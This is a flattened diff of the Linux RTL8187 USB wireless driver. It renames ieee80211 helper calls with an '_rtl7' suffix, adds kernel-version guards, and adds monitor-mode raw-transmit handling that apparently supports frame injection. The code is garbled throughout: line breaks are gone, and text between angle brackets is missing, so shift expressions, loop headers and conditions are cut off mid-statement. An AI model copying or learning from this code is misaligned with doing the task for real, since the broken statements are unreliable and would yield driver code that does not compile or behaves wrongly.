(priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +947,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +972,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +998,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1014,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1134,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1148,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1169,30 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); + spin_lock_irqsave(&priv->tx_lock,flags); + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, ieeerate2rtlrate(rate)); - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + + spin_unlock_irqrestore(&priv->tx_lock,flags); + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1202,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1217,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1232,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1241,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1249,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1249,55 +1307,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1365,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,31 +1376,38 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else priv->stats.txnperr++; kfree(tx_urb->transfer_buffer); usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + atomic_dec(&priv->tx_np_pending); + } //rtl8180_try_wake_queue(dev,NORM_PRIORITY); } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,45 +1417,47 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ - if( pend > MAX_TX_URB){ - if(priority == NORM_PRIORITY) - priv->stats.txnpdrop++; - else - priv->stats.txlpdrop++; - return -1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ + if( pend > MAX_TX_URB){ + if(priority == NORM_PRIORITY) + priv->stats.txnpdrop++; + else + priv->stats.txlpdrop++; + return -1; + } } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - + // if(priv->shortpre) // tx[0] |= (1<<16); - + //if(len > priv->rts_threshold){ // tx[0] |= (1<<23); //ENABLE RTS // tx[0] |= (1<<18); //ENABLE CTS @@ -1399,18 +1466,18 @@ tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - + // duration = rtl8180_len2duration(len, -// rate,&ext); +// rate,&ext); // tx[1] |= (duration & 0x7fff) <<16; // if(ext) tx[1] |= (1<<31); - + // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,71 +1488,77 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev); status = usb_submit_urb(tx_urb, GFP_ATOMIC); if (!status){ - atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + } return 0; }else{ - DMESGE("Error TX URB %d, error %d", - atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), - status); + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + DMESGE("Error TX URB %d, error %d", + atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), + status); + } return -1; } } - + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1567,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1578,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1599,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1626,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1653,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1694,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1741,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1801,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1849,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1858,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1941,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +1976,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2005,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2095,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2161,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2184,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2198,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2242,138 @@ 